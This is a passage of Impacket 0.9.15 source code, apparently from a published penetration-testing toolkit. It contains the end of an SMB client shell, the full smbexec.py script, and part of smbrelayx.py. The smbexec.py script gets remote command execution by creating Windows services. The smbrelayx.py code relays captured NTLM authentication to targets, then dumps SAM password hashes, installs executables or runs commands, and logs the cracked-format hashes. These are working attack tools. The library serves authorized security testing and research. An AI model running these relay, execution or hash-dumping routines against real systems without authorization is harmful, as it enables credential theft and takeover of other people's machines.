resp['InfoStruct']['ServerInfo102']['sv102_version_minor'] print "Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'] print "Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment'] print "Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath'] print "Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users'] def do_who(self, line): if self.loggedIn is False: logging.error("Not logged in") return rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10) for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']: print "host: %15s, user: %5s, active: %5d, idle: %5d" % ( session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'], session['sesi10_idle_time']) def do_shares(self, line): if self.loggedIn is False: logging.error("Not logged in") return resp = self.smb.listShares() for i in range(len(resp)): print resp[i]['shi1_netname'][:-1] def do_use(self,line): if self.loggedIn is False: logging.error("Not logged in") return self.share = line self.tid = self.smb.connectTree(line) self.pwd = '\\' self.do_ls('', False) def complete_cd(self, text, line, begidx, endidx): return self.complete_get(text, line, begidx, endidx, include = 2) def do_cd(self, line): if self.tid is None: logging.error("No share selected") return p = string.replace(line,'/','\\') oldpwd = self.pwd if p[0] == '\\': self.pwd = line else: self.pwd = ntpath.join(self.pwd, line) self.pwd = ntpath.normpath(self.pwd) # Let's try to open the directory to see if it's valid try: fid = self.smb.openFile(self.tid, self.pwd, creationOption = FILE_DIRECTORY_FILE \ , desiredAccess = FILE_READ_DATA | FILE_LIST_DIRECTORY \ , shareMode = FILE_SHARE_READ | FILE_SHARE_WRITE \ ) self.smb.closeFile(self.tid,fid) except SessionError: self.pwd = oldpwd raise def do_lcd(self, s): print s if s == '': print os.getcwd() else: os.chdir(s) def do_pwd(self,line): if self.loggedIn is False: logging.error("Not logged in") return print self.pwd def do_ls(self, wildcard, display = True): if self.loggedIn is False: logging.error("Not logged in") return if self.tid is None: logging.error("No share selected") return if wildcard == '': pwd = ntpath.join(self.pwd,'*') else: pwd = ntpath.join(self.pwd, wildcard) self.completion = [] pwd = string.replace(pwd,'/','\\') pwd = ntpath.normpath(pwd) for f in self.smb.listPath(self.share, pwd): if display is True: print "%crw-rw-rw- %10d %s %s" % ( 'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())), f.get_longname()) self.completion.append((f.get_longname(), f.is_directory())) def do_rm(self, filename): if self.tid is None: logging.error("No share selected") return f = ntpath.join(self.pwd, filename) file = string.replace(f,'/','\\') self.smb.deleteFile(self.share, file) def do_mkdir(self, path): if self.tid is None: logging.error("No share selected") return p = ntpath.join(self.pwd, path) pathname = string.replace(p,'/','\\') self.smb.createDirectory(self.share,pathname) def do_rmdir(self, path): if self.tid is None: logging.error("No share selected") return p = ntpath.join(self.pwd, path) pathname = string.replace(p,'/','\\') self.smb.deleteDirectory(self.share, pathname) def do_put(self, pathname): if self.tid is None: logging.error("No share selected") return src_path = pathname dst_name = os.path.basename(src_path) fh = open(pathname, 'rb') f = ntpath.join(self.pwd,dst_name) finalpath = string.replace(f,'/','\\') self.smb.putFile(self.share, finalpath, fh.read) fh.close() def complete_get(self, text, line, begidx, endidx, include = 1): # include means # 1 just files # 2 just directories p = string.replace(line,'/','\\') if p.find('\\') < 0: items = [] if include == 1: mask = 0 else: mask = 0x010 for i in self.completion: if i[1] == mask: items.append(i[0]) if text: return [ item for item in items if item.upper().startswith(text.upper()) ] else: return items def do_get(self, filename): if self.tid is None: logging.error("No share selected") return filename = string.replace(filename,'/','\\') fh = open(ntpath.basename(filename),'wb') pathname = ntpath.join(self.pwd,filename) try: self.smb.getFile(self.share, pathname, fh.write) except: fh.close() os.remove(filename) raise fh.close() def do_close(self, line): self.do_logoff(line) def main(): # Init the example's logger theme logger.init() print version.BANNER parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( options.target).groups('') #In case the password contains '@' if '@' in address: password = password + '@' + address.rpartition('@')[0] address = address.rpartition('@')[2] if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True if options.hashes is not None: lmhash, nthash = options.hashes.split(':') else: lmhash = '' nthash = '' try: smbClient = SMBConnection(address, address) if options.k is True: smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip ) else: smbClient.login(username, password, domain, lmhash, nthash) shell = MiniImpacketShell(smbClient) if options.file is not None: logging.info("Executing commands from %s" % options.file.name) for line in options.file.readlines(): if line[0] != '#': print "# %s" % line, shell.onecmd(line) else: print line, else: shell.cmdloop() except Exception, e: #import traceback #print traceback.print_exc() logging.error(str(e)) if __name__ == "__main__": main() impacket-0.9.15/examples/smbexec.py0000700000076500000000000003200512734531507017270 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # A similar approach to psexec w/o using RemComSvc. The technique is described here # http://www.accuvant.com/blog/owning-computers-without-shell-access # Our implementation goes one step further, instantiating a local smbserver to receive the # output of the commands. This is useful in the situation where the target machine does NOT # have a writeable share available. # Keep in mind that, although this technique might help avoiding AVs, there are a lot of # event logs generated and you can't expect executing tasks that will last long since Windows # will kill the process since it's not responding as a Windows service. # Certainly not a stealthy way. # # This script works in two ways: # 1) share mode: you specify a share, and everything is done through that share. # 2) server mode: if for any reason there's no share available, this script will launch a local # SMB server, so the output of the commands executed are sent back by the target machine # into a locally shared folder. Keep in mind you would need root access to bind to port 445 # in the local machine. # # Author: # beto (@agsolino) # # Reference for: # DCE/RPC and SMB. import sys import os import cmd import argparse import ConfigParser import logging from threading import Thread from impacket.examples import logger from impacket import version, smbserver from impacket.smbconnection import * from impacket.dcerpc.v5 import transport, scmr OUTPUT_FILENAME = '__output' BATCH_FILENAME = 'execute.bat' SMBSERVER_DIR = '__tmp' DUMMY_SHARE = 'TMP' class SMBServer(Thread): def __init__(self): Thread.__init__(self) self.smb = None def cleanup_server(self): logging.info('Cleaning up..') try: os.unlink(SMBSERVER_DIR + '/smb.log') except: pass os.rmdir(SMBSERVER_DIR) def run(self): # Here we write a mini config for the server smbConfig = ConfigParser.ConfigParser() smbConfig.add_section('global') smbConfig.set('global','server_name','server_name') smbConfig.set('global','server_os','UNIX') smbConfig.set('global','server_domain','WORKGROUP') smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log') smbConfig.set('global','credentials_file','') # Let's add a dummy share smbConfig.add_section(DUMMY_SHARE) smbConfig.set(DUMMY_SHARE,'comment','') smbConfig.set(DUMMY_SHARE,'read only','no') smbConfig.set(DUMMY_SHARE,'share type','0') smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR) # IPC always needed smbConfig.add_section('IPC$') smbConfig.set('IPC$','comment','') smbConfig.set('IPC$','read only','yes') smbConfig.set('IPC$','share type','3') smbConfig.set('IPC$','path') self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) logging.info('Creating tmp directory') try: os.mkdir(SMBSERVER_DIR) except Exception, e: logging.critical(str(e)) pass logging.info('Setting up SMB Server') self.smb.processConfigFile() logging.info('Ready to listen...') try: self.smb.serve_forever() except: pass def stop(self): self.cleanup_server() self.smb.socket.close() self.smb.server_close() self._Thread__stop() class CMDEXEC: KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), } def __init__(self, protocols=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=None, kdcHost=None, mode=None, share=None): if not protocols: protocols = CMDEXEC.KNOWN_PROTOCOLS.keys() self.__username = username self.__password = password self.__protocols = [protocols] self.__serviceName = 'BTOBTO' self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__doKerberos = doKerberos self.__kdcHost = kdcHost self.__share = share self.__mode = mode self.shell = None if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def run(self, addr): for protocol in self.__protocols: protodef = CMDEXEC.KNOWN_PROTOCOLS[protocol] port = protodef[1] logging.info("Trying protocol %s..." % protocol) logging.info("Creating service %s..." % self.__serviceName) stringbinding = protodef[0] % addr rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(port) if hasattr(rpctransport,'preferred_dialect'): rpctransport.preferred_dialect(SMB_DIALECT) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) self.shell = None try: if self.__mode == 'SERVER': serverThread = SMBServer() serverThread.daemon = True serverThread.start() self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName) self.shell.cmdloop() if self.__mode == 'SERVER': serverThread.stop() except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() logging.critical(str(e)) if self.shell is not None: self.shell.finish() sys.stdout.flush() sys.exit(1) class RemoteShell(cmd.Cmd): def __init__(self, share, rpc, mode, serviceName): cmd.Cmd.__init__(self) self.__share = share self.__mode = mode self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME self.__batchFile = '%TEMP%\\' + BATCH_FILENAME self.__outputBuffer = '' self.__command = '' self.__shell = '%COMSPEC% /Q /c ' self.__serviceName = serviceName self.__rpc = rpc self.intro = '[!] Launching semi-interactive shell - Careful what you execute' self.__scmr = rpc.get_dce_rpc() try: self.__scmr.connect() except Exception, e: logging.critical(str(e)) sys.exit(1) s = rpc.get_smb_connection() # We don't wanna deal with timeouts from now on. s.setTimeout(100000) if mode == 'SERVER': myIPaddr = s.getSMBServer().get_socket().getsockname()[0] self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE) self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp['lpScHandle'] self.transferClient = rpc.get_smb_connection() self.do_cd('') def finish(self): # Just in case the service is still created try: self.__scmr = self.__rpc.get_dce_rpc() self.__scmr.connect() self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp['lpScHandle'] resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName) service = resp['lpServiceHandle'] scmr.hRDeleteService(self.__scmr, service) scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(self.__scmr, service) except: pass def do_shell(self, s): os.system(s) def do_exit(self, s): return True def emptyline(self): return False def do_cd(self, s): # We just can't CD or mantain track of the target dir. if len(s) > 0: logging.error("You can't CD under SMBEXEC. Use full paths.") self.execute_remote('cd ' ) if len(self.__outputBuffer) > 0: # Stripping CR/LF self.prompt = string.replace(self.__outputBuffer,'\r\n','') + '>' self.__outputBuffer = '' def do_CD(self, s): return self.do_cd(s) def default(self, line): if line != '': self.send_data(line) def get_output(self): def output_callback(data): self.__outputBuffer += data if self.__mode == 'SHARE': self.transferClient.getFile(self.__share, OUTPUT_FILENAME, output_callback) self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME) else: fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r') output_callback(fd.read()) fd.close() os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME) def execute_remote(self, data): command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + \ self.__shell + self.__batchFile if self.__mode == 'SERVER': command += ' & ' + self.__copyBack command += ' & ' + 'del ' + self.__batchFile logging.debug('Executing %s' % command) resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output() def send_data(self, data): self.execute_remote(data) print self.__outputBuffer self.__outputBuffer = '' # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init() print version.BANNER parser = argparse.ArgumentParser() parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-share', action='store', default = 'C$', help='share where the output will be grabbed from (default C$)') parser.add_argument('-mode', action='store', choices = {'SERVER','SHARE'}, default='SHARE', help='mode to use (default SHARE, SERVER needs root!)') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('protocol', choices=CMDEXEC.KNOWN_PROTOCOLS.keys(), nargs='?', default='445/SMB', help='transport protocol (default 445/SMB)') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') #In case the password contains '@' if '@' in address: password = password + '@' + address.rpartition('@')[0] address = address.rpartition('@')[2] if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True try: executer = CMDEXEC(options.protocol, username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, options.mode, options.share) executer.run(address) except Exception, e: logging.critical(str(e)) sys.exit(0) impacket-0.9.15/examples/smbrelayx.py0000700000076500000000000014450712734531507017663 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2013-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # SMB Relay Module # # Author: # Alberto Solino (@agsolino) # # Description: # This module performs the SMB Relay attacks originally discovered # by cDc. It receives a list of targets and for every connection received it # will choose the next target and try to relay the credentials. Also, if # specified, it will first to try authenticate against the client connecting # to us. # # It is implemented by invoking a SMB and HTTP Server, hooking to a few # functions and then using the smbclient portion. It is supposed to be # working on any LM Compatibility level. The only way to stop this attack # is to enforce on the server SPN checks and or signing. # # If the target system is enforcing signing and a machine account was provided, # the module will try to gather the SMB session key through # NETLOGON (CVE-2015-0005) # # If the authentication against the targets succeed, the client authentication # success as well and a valid connection is set against the local smbserver. # It's up to the user to set up the local smbserver functionality. One option # is to set up shares with whatever files you want to the victim thinks it's # connected to a valid SMB server. All that is done through the smb.conf file or # programmatically. # import ConfigParser import SimpleHTTPServer import SocketServer import argparse import base64 import logging import os import sys from binascii import unhexlify, hexlify from struct import pack, unpack from threading import Thread from impacket import version from impacket.dcerpc.v5 import nrpc from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5.ndr import NULL from impacket.examples import logger from impacket.examples import serviceinstall from impacket.nt_errors import ERROR_MESSAGES from impacket.nt_errors import STATUS_LOGON_FAILURE, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NOT_SUPPORTED, \ STATUS_MORE_PROCESSING_REQUIRED from impacket.ntlm import NTLMAuthChallengeResponse, NTLMAuthNegotiate, NTLMAuthChallenge, AV_PAIRS, \ NTLMSSP_AV_HOSTNAME, generateEncryptedSessionKey from impacket.smb import NewSMBPacket, SMBCommand, SMB, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Extended_Data, \ SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Extended_Response_Data, \ SMBSessionSetupAndX_Parameters, SMBSessionSetupAndX_Extended_Parameters, TypesMech, \ SMBSessionSetupAndXResponse_Parameters, SMBSessionSetupAndXResponse_Data from impacket.smb3 import SMB3 from impacket.smbconnection import SMBConnection from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile, SMBSERVER from impacket.spnego import ASN1_AID, SPNEGO_NegTokenResp, SPNEGO_NegTokenInit from impacket.dcerpc.v5.rpcrt import DCERPCException try: from Crypto.Cipher import DES, AES, ARC4 except Exception: logging.critical("Warning: You don't have any crypto installed. You need PyCrypto") logging.critical("See http://www.pycrypto.org/") # Global Variables # This is the list of hosts that have been attacked already in case -one-shot was chosen ATTACKED_HOSTS = set() class doAttack(Thread): def __init__(self, SMBClient, exeFile, command): Thread.__init__(self) if isinstance(SMBClient, SMB) or isinstance(SMBClient, SMB3): self.__SMBConnection = SMBConnection(existingConnection = SMBClient) else: self.__SMBConnection = SMBClient self.__exeFile = exeFile self.__command = command self.__answerTMP = '' if exeFile is not None: self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile) def __answer(self, data): self.__answerTMP += data def run(self): # Here PUT YOUR CODE! global ATTACKED_HOSTS if self.__exeFile is not None: result = self.installService.install() if result is True: logging.info("Service Installed.. CONNECT!") self.installService.uninstall() else: ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) else: from secretsdump import RemoteOperations, SAMHashes samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: # Something wen't wrong, most probably we don't have access as admin. aborting logging.error(str(e)) ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) return try: if self.__command is not None: remoteOps._RemoteOperations__executeRemote(self.__command) logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) print self.__answerTMP self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost()) logging.error(str(e)) finally: if samHashes is not None: samHashes.finish() if remoteOps is not None: remoteOps.finish() class SMBClient(SMB): def __init__(self, remote_name, extended_security = True, sess_port = 445): self._extendedSecurity = extended_security self.domainIp = None self.machineAccount = None self.machineHashes = None SMB.__init__(self,remote_name, remote_name, sess_port = sess_port) def neg_session(self): neg_sess = SMB.neg_session(self, extended_security = self._extendedSecurity) return neg_sess def setUid(self,uid): self._uid = uid def login_standard(self, user, domain, ansiPwd, unicodePwd): smb = NewSMBPacket() smb['Flags1'] = 8 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Data() sessionSetup['Parameters']['MaxBuffer'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VCNumber'] = os.getpid() sessionSetup['Parameters']['SessionKey'] = self._dialects_parameters['SessionKey'] sessionSetup['Parameters']['AnsiPwdLength'] = len(ansiPwd) sessionSetup['Parameters']['UnicodePwdLength'] = len(unicodePwd) sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE sessionSetup['Data']['AnsiPwd'] = ansiPwd sessionSetup['Data']['UnicodePwd'] = unicodePwd sessionSetup['Data']['Account'] = str(user) sessionSetup['Data']['PrimaryDomain'] = str(domain) sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' smb.addCommand(sessionSetup) self.sendSMB(smb) smb = self.recvSMB() try: smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) except: logging.error("Error login_standard") return None, STATUS_LOGON_FAILURE else: self._uid = smb['Uid'] return smb, STATUS_SUCCESS def setDomainAccount( self, machineAccount, machineHashes, domainIp): self.machineAccount = machineAccount self.machineHashes = machineHashes self.domainIp = domainIp if self._SignatureRequired is True: if self.domainIp is None: logging.error("Signature is REQUIRED on the other end, attack will not work") else: logging.info("Signature is REQUIRED on the other end, using NETLOGON approach") def netlogonSessionKey(self, challenge, authenticateMessageBlob): # Here we will use netlogon to get the signing session key logging.info("Connecting to %s NETLOGON service" % self.domainIp) respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(respToken2['ResponseToken'] ) _, machineAccount = self.machineAccount.split('/') domainName = authenticateMessage['domain_name'].decode('utf-16le') try: av_pairs = authenticateMessage['ntlm'][44:] av_pairs = AV_PAIRS(av_pairs) serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') except: # We're in NTLMv1, not supported return STATUS_ACCESS_DENIED stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.domainIp rpctransport = transport.DCERPCTransportFactory(stringBinding) if len(self.machineHashes) > 0: lmhash, nthash = self.machineHashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(machineAccount,'', domainName, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', '12345678') serverChallenge = resp['ServerChallenge'] if self.machineHashes == '': ntHash = None else: ntHash = unhexlify(self.machineHashes.split(':')[1]) sessionKey = nrpc.ComputeSessionKeyStrongKey('', '12345678', serverChallenge, ntHash) ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey) nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', ppp, 0x600FFFFF) clientStoredCredential = pack('> 16 packet['ErrorClass'] = errorCode & 0xff return None, [packet], STATUS_NOT_SUPPORTED else: logging.info("SMBD: Received connection from %s, attacking target %s" % (connData['ClientIP'] ,self.target)) try: if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY == 0: extSec = False else: if self.mode.upper() == 'REFLECTION': # Force standard security when doing reflection logging.info("Downgrading to standard security") extSec = False recvPacket['Flags2'] += (~SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True client = SMBClient(self.target, extended_security = extSec) client.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp) client.set_timeout(60) except Exception, e: logging.error("Connection against target %s FAILED" % self.target) logging.error(str(e)) else: encryptionKey = client.get_encryption_key() smbData[self.target] = {} smbData[self.target]['SMBClient'] = client if encryptionKey is not None: connData['EncryptionKey'] = encryptionKey smbServer.setConnectionData('SMBRelay', smbData) smbServer.setConnectionData(connId, connData) return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket) ############################################################# def SmbSessionSetupAndX(self, connId, smbServer, smbCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) ############################################################# # SMBRelay smbData = smbServer.getConnectionData('SMBRelay', False) ############################################################# respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) global ATTACKED_HOSTS if connData['_dialects_parameters']['Capabilities'] & SMB.CAP_EXTENDED_SECURITY: # Extended security. Here we deal with all SPNEGO stuff respParameters = SMBSessionSetupAndX_Extended_Response_Parameters() respData = SMBSessionSetupAndX_Extended_Response_Data() sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(smbCommand['Parameters']) sessionSetupData = SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] sessionSetupData.fromString(smbCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] if unpack('B',sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = unpack('> 16 packet['ErrorClass'] = errorCode & 0xff return None, [packet], STATUS_NOT_SUPPORTED # It might happen if the target connects back before a previous connection has finished, we might # get to this function w/o having the dict and smbClient entry created, because a # NEGOTIATE_CONNECTION was not needed if smbData.has_key(self.target) is False: smbData[self.target] = {} smbClient = SMBClient(self.target) smbClient.setDomainAccount(self.machineAccount, self.machineHashes, self.domainIp) smbClient.set_timeout(60) smbData[self.target]['SMBClient'] = smbClient smbClient = smbData[self.target]['SMBClient'] clientChallengeMessage = smbClient.sendNegotiate(token) challengeMessage = NTLMAuthChallenge() challengeMessage.fromString(clientChallengeMessage) ############################################################# respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = str(challengeMessage) # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data # Picking a fixed value # TODO: Manage more UIDs for the same session connData['Uid'] = 10 # Let's store it in the connection data connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. smbClient = smbData[self.target]['SMBClient'] authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': clientResponse, errorCode = smbClient.sendAuth(connData['CHALLENGE_MESSAGE']['challenge'], sessionSetupData['SecurityBlob']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = NewSMBPacket() packet['Flags1'] = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS packet['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID smbClient.setUid(0) logging.error("Authenticating against %s as %s\%s FAILED" % ( self.target, authenticateMessage['domain_name'], authenticateMessage['user_name'])) # del (smbData[self.target]) return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want logging.info("Authenticating against %s as %s\%s SUCCEED" % ( self.target, authenticateMessage['domain_name'], authenticateMessage['user_name'])) ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) logging.info(ntlm_hash_data['hash_string']) if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) del (smbData[self.target]) # Target will be attacked, adding to the attacked set # If the attack fails, the doAttack thread will be responsible of removing it from the set ATTACKED_HOSTS.add(self.target) clientThread = doAttack(smbClient,self.exeFile,self.command) clientThread.start() # Now continue with the server ############################################################# # Return status code of the authentication process. errorCode = self.returnStatus logging.info("Sending status code %s after authentication to %s" % ( ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP'])) respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = '\x00' # Status SUCCESS # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % 